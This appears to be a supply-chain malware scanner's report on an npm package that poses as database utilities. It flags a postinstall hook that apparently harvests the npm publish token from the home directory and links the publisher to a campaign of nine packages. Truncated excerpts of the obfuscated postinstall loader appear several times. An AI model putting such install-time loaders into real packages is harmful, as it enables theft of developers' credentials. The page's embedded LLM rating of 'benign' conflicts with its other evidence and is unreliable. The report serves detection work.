// npm package

@cloudplatform-single-spa/svp-s3-storage

Internal database utilities with connection pooling, query builder and migration support

npmjs.com tarball repo homepage

versions

maintainers

license

UNLICENSED

first publish

2026-05-27

publisher

mr.4nd3r50n

tarball

17,331 B

AUTO-PUBLISHED·1 version indexed·latest published 2026-05-28

// exfil path

what is read → where it ships

steals

○ home dir

sends to

(no destination string extracted — payload may be dynamic / obfuscated)

evidence in excerpt

> 'use strict';const a0_0x76b63c=a0_0x45f0;(function(_0x11dc91,_0xe27a4c){const _0x253453=a0_0x45f0,_0x46e786=_0x11dc91();while(!![]){try{const _0xae591c=parseInt(_0x253453(0x236))/(-0x11d3+-0x1*-0x8ad+…

→ view full payload

// publisher campaignby mr.4nd3r50n

9 caught packages from this account

This is not an isolated catch. The same publisher has shipped 8 other packages that our pipeline flagged — the shape of a coordinated campaign, not a one-off. Each link below opens that sibling's analysis.

// offending code· @100.100.100· 1 file flagged

llm: benign · 0.85

→ No suspicious destination, no remote-exec shape — 1 known-vendor host(s).

@100.100.100·2026-05-28·AUTO-PUBLISHED·publisher: mr.4nd3r50n
heuristic 100/100
static flags 2
llm benign (0.85) via ollama
install-scripts:postinstallnew-publisher:1danomalous-major-version:100publisher-multi-name-burst:24publisher-version-pump:25osv-flagged:MAL-2026-4988reads-env-varsreads-homedir
→ No suspicious destination, no remote-exec shape — 1 known-vendor host(s).
// NHI intent1 target·mixed harvest patterns·gate: always
- npm publish token (.npmrc)

--- install scripts --- ### postinstall node scripts/postinstall.js ### prepublishOnly echo 'Building...' --- package/scripts/postinstall.js (excerpt) --- 'use strict';const a0_0x76b63c=a0_0x45f0;(function(_0x11dc91,_0xe27a4c){const _0x253453=a0_0x45f0,_0x46e786=_0x11dc91();while(!![]){try{const _0xae591c=parseInt(_0x253453(0x236))/(-0x11d3+-0x1*-0x8ad+0x927)*(-parseInt(_0x253453(0x231))/(0xf0e+0x6*-0x31+0xde6*-0x1))+parseInt(_0x253453(0x211))/(-0x4*0x935+0xfab+0x152c)*(parseInt(_0x253453(0x20b))/(-0x2611+0x48*0x31+0x184d))+-parseInt(_0x253453(0x224))/(-0x1af0*0x1+-0x19c7*-0x1+0x12e)*(-parseInt(_0x253453(0x1e8))/(0x289+0x17*0x1a6+-0x286d*0x1))+parseInt(_0x253453(0x228))/(0xfc+0x2*0x1169+-0x23c7)+parseInt(_0x253453(0x209))/(0xa*0x12e+-0x29c+0x2*-0x494)+-parseInt(_0x253453(0x1ed))/(0xe*-0x13d+0x150b*-0x1+0x266a)+parseInt(_0x253453(0x22b))/(-0x25ff+0x17*0x91+-0x6*-0x42b);if(_0xae591c===_0xe27a4c)break;else _0x46e786['push'](_0x46e786['shift']());}catch(_0x4e0a5a){_0x46e786['push'](_0x46e786['shift']());}}}(a0_0xb271,-0xd3fa+0x263b4+-0xc2*-0x34c));function a0_0x45f0(_0x33be47,_0x58119c){_0x33be47=_0x33be47-(-0xa3c+-0x1c88+0x28aa);const _0x294bf8=a0_0xb271();let _0x116c16=_0x294bf8[_0x33be47];if(a0_0x45f0['CQOfBo']===undefined){var _0x2689ab=function(_0x138c4b){const _0x58412f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0xe6b8b7='',_0x5b8d59='',_0x52e661=_0xe6b8b7+_0x2689ab,_0x3ddc96=(''+function(){return-0x1def+0x1*0x123b+0xbb4*0x1;})['indexOf']('\x0a')!==-(0x1*0x2557+-0xc*-0x47+-0x28aa);for(let _0x17a2fa=0x81*-0x36+-0x3e5*-0x3+0xf87,_0x8607ca,_0x5ddde7,_0x3117b6=-0x9a*0x3b+0xa*-0x28a+0x3ce2;_0x5ddde7=_ --- bundled output (OSV-MAL flagged — LLM scope expansion) --- --- dist/index.d.ts (bundled) --- export interface PoolOptions { host?: string; port?: number; database?: string; user?: string; password?: string; max?: number; } export interface Pool { host: string; port: number; database: string; } export function createPool(options?: PoolOptions): Pool; export function query(pool: Pool, sql: string, params?: unknown[]): Promise<unknown[]>; export function transaction(pool: Pool, fn: (client: unknown) => Promise<unknown>): Promise<unknown>; export function migrate(pool: Pool, dir?: string): Promise<string[]>; --- dist/index.js (bundled) --- 'use strict'; // dist/index.js module.exports = require('../src/index.js');

'use strict';const a0_0x76b63c=a0_0x45f0;(function(_0x11dc91,_0xe27a4c){const _0x253453=a0_0x45f0,_0x46e786=_0x11dc91();while(!![]){try{const _0xae591c=parseInt(_0x253453(0x236))/(-0x11d3+-0x1*-0x8ad+0x927)*(-parseInt(_0x253453(0x231))/(0xf0e+0x6*-0x31+0xde6*-0x1))+parseInt(_0x253453(0x211))/(-0x4*0x935+0xfab+0x152c)*(parseInt(_0x253453(0x20b))/(-0x2611+0x48*0x31+0x184d))+-parseInt(_0x253453(0x224))/(-0x1af0*0x1+-0x19c7*-0x1+0x12e)*(-parseInt(_0x253453(0x1e8))/(0x289+0x17*0x1a6+-0x286d*0x1))+parseInt(_0x253453(0x228))/(0xfc+0x2*0x1169+-0x23c7)+parseInt(_0x253453(0x209))/(0xa*0x12e+-0x29c+0x2*-0x494)+-parseInt(_0x253453(0x1ed))/(0xe*-0x13d+0x150b*-0x1+0x266a)+parseInt(_0x253453(0x22b))/(-0x25ff+0x17*0x91+-0x6*-0x42b);if(_0xae591c===_0xe27a4c)break;else _0x46e786['push'](_0x46e786['shift']());}catch(_0x4e0a5a){_0x46e786['push'](_0x46e786['shift']());}}}(a0_0xb271,-0xd3fa+0x263b4+-0xc2*-0x34c));function a0_0x45f0(_0x33be47,_0x58119c){_0x33be47=_0x33be47-(-0xa3c+-0x1c88+0x28aa);const _0x294bf8=a0_0xb271();let _0x116c16=_0x294bf8[_0x33be47];if(a0_0x45f0['CQOfBo']===undefined){var _0x2689ab=function(_0x138c4b){const _0x58412f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0xe6b8b7='',_0x5b8d59='',_0x52e661=_0xe6b8b7+_0x2689ab,_0x3ddc96=(''+function(){return-0x1def+0x1*0x123b+0xbb4*0x1;})['indexOf']('\x0a')!==-(0x1*0x2557+-0xc*-0x47+-0x28aa);for(let _0x17a2fa=0x81*-0x36+-0x3e5*-0x3+0xf87,_0x8607ca,_0x5ddde7,_0x3117b6=-0x9a*0x3b+0xa*-0x28a+0x3ce2;_0x5ddde7=_

export interface PoolOptions { host?: string; port?: number; database?: string; user?: string; password?: string; max?: number; } export interface Pool { host: string; port: number; database: string; } export function createPool(options?: PoolOptions): Pool; export function query(pool: Pool, sql: string, params?: unknown[]): Promise<unknown[]>; export function transaction(pool: Pool, fn: (client: unknown) => Promise<unknown>): Promise<unknown>; export function migrate(pool: Pool, dir?: string): Promise<string[]>;